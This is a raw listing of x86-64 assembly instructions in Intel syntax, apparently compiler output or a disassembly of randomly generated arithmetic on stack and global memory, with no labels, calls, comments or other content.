mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
mov byte [0x1401cd8d3], al
movzx eax, byte [rsp + 0x240]
mov byte [rsp + 0x36e], al
mov rax, qword [0x1401cd900]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc530]
mov byte [rcx], al
movzx eax, word [rsp + 0x1814]
mov word [rsp + 0x1b3c], ax
movsx eax, word [rsp + 0x15cc]
movsx ecx, word [rsp + 0x1780]
xor eax, ecx
mov word [rsp + 0x17e8], ax
mov eax, dword [rsp + 0x47b8]
mov ecx, dword [rsp + 0x4f54]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac00]
mov dword [rcx], eax
lea rax, [rsp + 0x4efc]
mov qword [rsp + 0xc990], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xc6a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0xc0f8]
mov rax, qword [rax]
mov qword [rsp + 0xc998], rax
mov rax, qword [rsp + 0x96b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x294]
add eax, ecx
mov byte [0x1401cc009], al
mov rax, qword [rsp + 0xa138]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cd833]
add eax, ecx
mov byte [rsp + 0x24c], al
lea rax, [rsp + 0x16f8]
mov qword [rsp + 0xc9a0], rax
mov rax, qword [rsp + 0xa3b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1730]
sub eax, ecx
mov word [rsp + 0x1778], ax
mov rax, qword [rsp + 0xbfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xabd8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa650]
mov word [rcx], ax
lea rax, [rsp + 0xa9c8]
mov qword [rsp + 0xc9a8], rax
mov rax, qword [rsp + 0xa920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x99a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x51cc]
mov dword [rsp + 0x5488], eax
mov rax, qword [rsp + 0xc730]
mov rcx, qword [rsp + 0x9d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xedc]
mov rcx, qword [rsp + 0x97e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16c0], ax
mov rax, qword [0x1401cde20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x366]
sub eax, ecx
mov byte [0x1401cc0c2], al
movzx eax, byte [rsp + 0x360]
mov byte [rsp + 0x36f], al
movzx eax, word [rsp + 0x1a10]
movzx ecx, word [rsp + 0x1224]
xor eax, ecx
mov word [rsp + 0x1ab8], ax
lea rax, [rsp + 0x1864]
mov qword [rsp + 0xc9b0], rax
mov rax, qword [rsp + 0xbef0]
mov rcx, qword [rsp + 0xa900]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa2a0], rax
mov eax, dword [rsp + 0x539c]
mov rcx, qword [rsp + 0xb978]
mov qword [rsp + 0xc9b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc9b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4748], eax
mov rax, qword [rsp + 0x87f8]
mov qword [rsp + 0xc9c0], rax
mov rax, qword [rsp + 0xa250]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc8f8]
mov qword [rsp + 0xc9c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc9c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xc028]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe10]
movzx eax, byte [rax]
mov byte [rsp + 0x370], al
mov rax, qword [rsp + 0xc158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1994]
and eax, ecx
mov word [0x1401cc154], ax
movzx eax, word [rsp + 0x1134]
mov rcx, qword [rsp + 0xb630]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x2ed]
mov rcx, qword [rsp + 0xb9b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab88]
mov byte [rcx], al
lea rax, [rsp + 0x24f]
mov qword [rsp + 0xc9d0], rax
mov rax, qword [rsp + 0xab98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fe4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa810]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8128], rax
mov rax, qword [rsp + 0xafc0]
mov ecx, dword [rsp + 0x4f20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d54], eax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov qword [rsp + 0xc9d8], rax
mov rax, qword [rsp + 0x9938]
movzx eax, word [rax]
mov rcx, qword [0x1401cdab0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9ee0]
mov word [rcx], ax
lea rax, [rsp + 0x1ec]
mov qword [0x1401cdeb0], rax
movzx eax, byte [rsp + 0x284]
mov rcx, qword [rsp + 0x9af8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x302], al
lea rax, [rsp + 0xf1c]
mov qword [rsp + 0xc9e0], rax
mov rax, qword [0x1401cdb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x357]
sub eax, ecx
mov byte [rsp + 0x2c0], al
mov rax, qword [rsp + 0xc2b8]
mov eax, dword [rax]
mov dword [rsp + 0x548c], eax
mov rax, qword [rsp + 0xb590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9168]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf30], rax
mov rax, qword [rsp + 0x9468]
mov eax, dword [rax]
mov dword [rsp + 0x5490], eax
movsx eax, word [rsp + 0x18fc]
movsx ecx, word [0x1401cc1b8]
sar eax, cl
mov rcx, qword [rsp + 0xa808]
mov word [rcx], ax
mov rax, qword [rsp + 0xc528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa370]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc1e4], ax
movzx eax, byte [rsp + 0x2b6]
mov byte [rsp + 0x371], al
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc087]
shl eax, cl
mov byte [rsp + 0x252], al
movsx eax, word [rsp + 0x1758]
mov rcx, qword [rsp + 0xc520]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x172c], ax
mov rax, qword [rsp + 0x9670]
movzx eax, byte [rax]
mov byte [rsp + 0x372], al
mov rax, qword [rsp + 0x9570]
mov rcx, qword [rsp + 0x9cb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9990]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4930]
mov dword [rsp + 0x5494], eax
mov rax, qword [rsp + 0x9dd0]
mov rcx, qword [rsp + 0xbb40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb490], rax
mov rax, qword [rsp + 0xc150]
mov rcx, qword [rsp + 0x98d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5390], eax
mov rax, qword [rsp + 0xc6d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [0x1401cd9b8]
mov byte [rcx], al
lea rax, [rsp + 0x1b24]
mov qword [rsp + 0xc9e8], rax
mov rax, qword [rsp + 0xbfc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a28]
add eax, ecx
mov word [rsp + 0x19c0], ax
mov rax, qword [rsp + 0xb850]
movzx eax, byte [rax]
mov byte [rsp + 0x373], al
mov rax, qword [rsp + 0xc690]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
sub eax, ecx
mov rcx, qword [rsp + 0xbe20]
mov word [rcx], ax
mov eax, dword [0x1401cc01c]
mov dword [rsp + 0x5498], eax
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0xc350]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb970]
mov ecx, dword [rsp + 0x4fa0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov dword [rcx], eax
lea rax, [0x1401cc020]
mov qword [rsp + 0xc9f0], rax
lea rax, [rsp + 0x2bd]
mov qword [0x1401cdeb8], rax
mov rax, qword [rsp + 0x9a18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf78]
sar eax, cl
mov rcx, qword [rsp + 0xaf28]
mov word [rcx], ax
lea rax, [rsp + 0x1504]
mov qword [rsp + 0xc9f8], rax
mov rax, qword [rsp + 0xa190]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb730]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2b1], al
mov rax, qword [rsp + 0xb968]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb0a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a94], ax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [0x1401cd728]
mov qword [rsp + 0xca00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8480], rax
mov rax, qword [rsp + 0x93d0]
mov rcx, qword [rsp + 0xb868]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc718]
mov qword [rcx], rax
lea rax, [rsp + 0x50e0]
mov qword [rsp + 0xca08], rax
mov rax, qword [rsp + 0xb378]
mov rcx, qword [rsp + 0x9108]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb8e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa670]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd78d], al
mov rax, qword [rsp + 0xae58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1600]
add eax, ecx
mov rcx, qword [rsp + 0xc5f0]
mov word [rcx], ax
lea rax, [rsp + 0x252]
mov qword [rsp + 0xca10], rax
movzx eax, word [rsp + 0x1704]
movzx ecx, word [rsp + 0x19e8]
sub eax, ecx
mov rcx, qword [rsp + 0xb468]
mov word [rcx], ax
lea rax, [rsp + 0x24d]
mov qword [rsp + 0xca18], rax
mov rax, qword [rsp + 0x9c60]
mov rcx, qword [0x1401cc028]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbb8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5480]
mov dword [rsp + 0x549c], eax
mov rax, qword [rsp + 0xb230]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f14], eax
mov rax, qword [rsp + 0xb2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
lea rax, [rsp + 0x1af0]
mov qword [0x1401cdec0], rax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
mov byte [rsp + 0x374], al
movsx eax, word [rsp + 0x1994]
movsx ecx, word [rsp + 0x1844]
sub eax, ecx
mov word [rsp + 0x1a30], ax
lea rax, [rsp + 0xe1]
mov qword [rsp + 0xca20], rax
movzx eax, byte [rsp + 0x1e1]
mov rcx, qword [rsp + 0xaad0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc638]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d18]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb098]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb668]
mov rax, qword [rax]
mov qword [rsp + 0xca28], rax
mov eax, dword [rsp + 0x4eac]
movzx ecx, al
mov eax, dword [rsp + 0x5154]
shl eax, cl
mov rcx, qword [rsp + 0x9890]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc6b8]
mov qword [rsp + 0xca30], rax
movzx eax, word [rsp + 0x1b0c]
mov rcx, qword [rsp + 0xc288]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401cdaa8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1aac]
movsx ecx, word [0x1401cc1d4]
cdq
idiv ecx
mov word [rsp + 0x1718], ax
movzx eax, byte [rsp + 0x21f]
movzx ecx, byte [rsp + 0xd6]
sar eax, cl
mov byte [rsp + 0x25e], al
lea rax, [rsp + 0x347]
mov qword [rsp + 0xca38], rax
mov rax, qword [rsp + 0xc4b0]
movsx eax, word [rax]
movsx ecx, word [0x1401cc058]
add eax, ecx
mov rcx, qword [rsp + 0xbe20]
mov word [rcx], ax
lea rax, [rsp + 0x8b40]
mov qword [rsp + 0xca40], rax
mov rax, qword [rsp + 0xc348]
mov rcx, qword [rsp + 0x9760]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xabd0]
mov dword [rcx], eax
mov rax, qword [0x1401cc028]
mov rcx, qword [rsp + 0x9560]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f90], rax
lea rax, [rsp + 0x4f68]
mov qword [rsp + 0xca48], rax
mov rax, qword [rsp + 0x9e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb2d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0c3], al
movsx eax, byte [rsp + 0x350]
movsx ecx, byte [0x1401cd832]
add eax, ecx
mov rcx, qword [rsp + 0xb148]
mov byte [rcx], al
lea rax, [rsp + 0x16e8]
mov qword [rsp + 0xca50], rax
mov rax, qword [rsp + 0xc220]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1504]
sub eax, ecx
mov word [rsp + 0x14f4], ax
lea rax, [rsp + 0x1638]
mov qword [rsp + 0xca58], rax
mov rax, qword [rsp + 0xb0d0]
mov rcx, qword [rsp + 0xca08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0x9ac0]
mov rcx, qword [rsp + 0xbee8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xae10], rax
lea rax, [rsp + 0xa708]
mov qword [rsp + 0xca60], rax
mov rax, qword [rsp + 0xa4e8]
mov rcx, qword [rsp + 0x9518]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc01b], al
lea rax, [rsp + 0x324]
mov qword [rsp + 0xca68], rax
movzx eax, word [rsp + 0x19bc]
movzx ecx, word [rsp + 0x176c]
sub eax, ecx
mov rcx, qword [rsp + 0xc9b0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1630]
mov rcx, qword [rsp + 0xb6c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xeb8], ax
movzx eax, byte [0x1401cd724]
mov byte [rsp + 0x375], al
mov rax, qword [rsp + 0xa9c0]
mov ecx, dword [rsp + 0x5450]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
lea rax, [rsp + 0xb908]
mov qword [rsp + 0xca70], rax
mov eax, dword [rsp + 0x4928]
mov rcx, qword [rsp + 0x8d08]
mov qword [rsp + 0xca78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca78]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa410]
movzx ecx, al
mov rax, qword [rsp + 0x94c0]
shl rax, cl
mov rcx, qword [rsp + 0xc398]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f60]
movzx eax, byte [rax]
mov byte [rsp + 0x376], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov word [0x1401cdec8], ax
mov rax, qword [rsp + 0xb5c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x32d]
and eax, ecx
mov byte [rsp + 0x241], al
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
mov word [rsp + 0x1b40], ax
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov rcx, qword [0x1401cd7b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x186c], ax
lea rax, [rsp + 0x5260]
mov qword [rsp + 0xca80], rax
mov rax, qword [rsp + 0x9450]
mov rcx, qword [rsp + 0xc5d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xae98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc698]
mov rcx, qword [rsp + 0xbc08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xadb0], rax
mov eax, dword [rsp + 0x4f18]
mov dword [rsp + 0x54a0], eax
movsx eax, byte [rsp + 0x2cb]
movsx ecx, byte [rsp + 0x250]
add eax, ecx
mov byte [rsp + 0x2ac], al
mov rax, qword [rsp + 0xc5f0]
movsx eax, word [rax]
movsx ecx, word [0x1401cc088]
add eax, ecx
mov rcx, qword [0x1401cde10]
mov word [rcx], ax
lea rax, [rsp + 0x262]
mov qword [rsp + 0xca88], rax
movsx eax, word [rsp + 0x18d4]
mov rcx, qword [rsp + 0xc010]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x162c], ax
mov rax, qword [rsp + 0xad00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2aa], al
mov rax, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0x8a20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8728], rax
mov rax, qword [rsp + 0xba60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5440]
shl eax, cl
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9558]
mov eax, dword [rax]
mov dword [rsp + 0x54a4], eax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0x87f8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa410], rax
mov rax, qword [rsp + 0x9d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xab28]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc330]
mov byte [rcx], al
mov rax, qword [rsp + 0x9100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20a]
sar eax, cl
mov rcx, qword [0x1401cde20]
mov byte [rcx], al
lea rax, [rsp + 0x288]
mov qword [rsp + 0xca90], rax
movzx eax, word [rsp + 0x15c0]
mov rcx, qword [rsp + 0xa3b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1714], ax
mov rax, qword [rsp + 0xa7f0]
movzx eax, word [rax]
mov word [rsp + 0x1b44], ax
mov rax, qword [rsp + 0xaff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5458], eax
mov rax, qword [rsp + 0xb300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb798]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb998]
mov qword [rsp + 0xca98], rax
mov rax, qword [rsp + 0xa628]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc628]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
mov rax, qword [0x1401cdd88]
movzx eax, word [rax]
mov word [rsp + 0x1b48], ax
lea rax, [rsp + 0x21a]
mov qword [0x1401cded0], rax
movzx eax, byte [rsp + 0x30e]
mov rcx, qword [rsp + 0xa090]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ea], al
movzx eax, word [rsp + 0x1978]
mov word [rsp + 0x1b4c], ax
mov rax, qword [rsp + 0xb048]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15e0]
and eax, ecx
mov rcx, qword [rsp + 0xa0b0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1ab4]
mov rcx, qword [rsp + 0xa370]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1774], ax
mov rax, qword [rsp + 0x82a0]
mov qword [rsp + 0xcaa0], rax
mov rax, qword [rsp + 0xa3d8]
mov ecx, dword [rsp + 0x4e64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50f8], eax
lea rax, [rsp + 0x5380]
mov qword [rsp + 0xcaa8], rax
mov rax, qword [rsp + 0x9420]
mov rcx, qword [0x1401cc010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb840], rax
movzx eax, byte [rsp + 0x2f5]
mov rcx, qword [rsp + 0xbc70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc09f], al
mov rax, qword [rsp + 0xa868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19e4]
xor eax, ecx
mov rcx, qword [rsp + 0x9cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9940]
movzx eax, byte [rax]
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0x9b08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbe20]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1a0c], ax
movzx eax, word [rsp + 0x1a6c]
mov word [rsp + 0x1b50], ax
mov rax, qword [0x1401cc010]
mov rcx, qword [rsp + 0xb478]
mov qword [rsp + 0xcab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcab0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d38]
mov ecx, dword [rsp + 0x4f0c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0x9a28]
movzx ecx, al
mov rax, qword [rsp + 0x9c98]
shl rax, cl
mov qword [rsp + 0x8b60], rax
mov rax, qword [rsp + 0xa438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb568]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2e9]
movzx ecx, byte [rsp + 0x27c]
add eax, ecx
mov byte [0x1401cc0c6], al
lea rax, [rsp + 0x1580]
mov qword [rsp + 0xcab8], rax
movsx eax, byte [rsp + 0x28c]
mov rcx, qword [rsp + 0xbeb8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x230], al
movsx eax, word [rsp + 0x19f4]
movsx ecx, word [rsp + 0x1514]
sub eax, ecx
mov word [rsp + 0x16ac], ax
lea rax, [rsp + 0x34e]
mov qword [rsp + 0xcac0], rax
mov rax, qword [rsp + 0xadc8]
mov rcx, qword [rsp + 0xc958]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
lea rax, [rsp + 0x4e24]
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0x8f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97a8]
mov rax, qword [rax]
mov qword [rsp + 0xcad0], rax
lea rax, [rsp + 0x30b]
mov qword [0x1401cded8], rax
movsx eax, byte [rsp + 0x23f]
movsx ecx, byte [rsp + 0x2d4]
and eax, ecx
mov byte [rsp + 0x2f1], al
movzx eax, byte [rsp + 0x21f]
mov rcx, qword [rsp + 0xb930]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x291], al
movzx eax, word [rsp + 0x183c]
mov word [rsp + 0x1b54], ax
movsx eax, word [rsp + 0x172c]
mov rcx, qword [rsp + 0xa618]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1918], ax
mov eax, dword [rsp + 0x5128]
mov dword [rsp + 0x54a8], eax
mov rax, qword [rsp + 0xcac8]
mov rcx, qword [rsp + 0x9320]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5058], eax
mov rax, qword [rsp + 0xa668]
mov rcx, qword [rsp + 0xab00]
mov qword [rsp + 0xcad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcad8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb690], rax
lea rax, [rsp + 0xba40]
mov qword [rsp + 0xcae0], rax
movzx eax, byte [rsp + 0x373]
movzx ecx, byte [rsp + 0x2df]
shl eax, cl
mov byte [0x1401cc057], al
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0xc868]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9858]
mov byte [rcx], al
mov rax, qword [rsp + 0x94a8]
movzx eax, word [rax]
mov word [rsp + 0x1b58], ax
movsx eax, word [rsp + 0x1570]
movsx ecx, word [rsp + 0x19f0]
xor eax, ecx
mov rcx, qword [rsp + 0xb4f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9938]
mov word [rcx], ax
mov rax, qword [rsp + 0x9908]
mov rax, qword [rax]
mov qword [rsp + 0xcae8], rax
mov rax, qword [rsp + 0xc458]
mov rcx, qword [rsp + 0x98d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa958]
mov dword [rcx], eax
lea rax, [rsp + 0x81c0]
mov qword [rsp + 0xcaf0], rax
mov rax, qword [rsp + 0x9228]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9848]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x318]
add eax, ecx
mov rcx, qword [0x1401cda10]
mov byte [rcx], al
lea rax, [0x1401cc066]
mov qword [rsp + 0xcaf8], rax
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ba]
add eax, ecx
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0xb828]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14dc]
add eax, ecx
mov word [rsp + 0x1750], ax
mov rax, qword [0x1401cdb10]
movzx eax, byte [rax]
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0xb2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0xb5c8]
mov rax, qword [rax]
mov qword [rsp + 0xcb00], rax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x53e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb990]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3e0]
mov ecx, dword [rsp + 0x5110]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5160], eax
lea rax, [rsp + 0x17d0]
mov qword [0x1401cdee0], rax
movzx eax, byte [rsp + 0x28c]
mov byte [rsp + 0x379], al
movzx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0xaaa8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7e], al
movsx eax, word [rsp + 0x17d8]
movsx ecx, word [rsp + 0x173c]
sar eax, cl
mov word [rsp + 0xed0], ax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa3b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1860], ax
mov rax, qword [rsp + 0xad70]
mov rcx, qword [rsp + 0x9378]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa1c0]
mov dword [rcx], eax
lea rax, [rsp + 0x50e0]
mov qword [rsp + 0xcb08], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xae98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc820]
mov qword [rcx], rax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0xcb10], rax
lea rax, [rsp + 0x236]
mov qword [0x1401cdee8], rax
movsx eax, word [rsp + 0x16ec]
movsx ecx, word [rsp + 0xedc]
and eax, ecx
mov rcx, qword [rsp + 0xbef8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc2a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc288]
mov word [rcx], ax
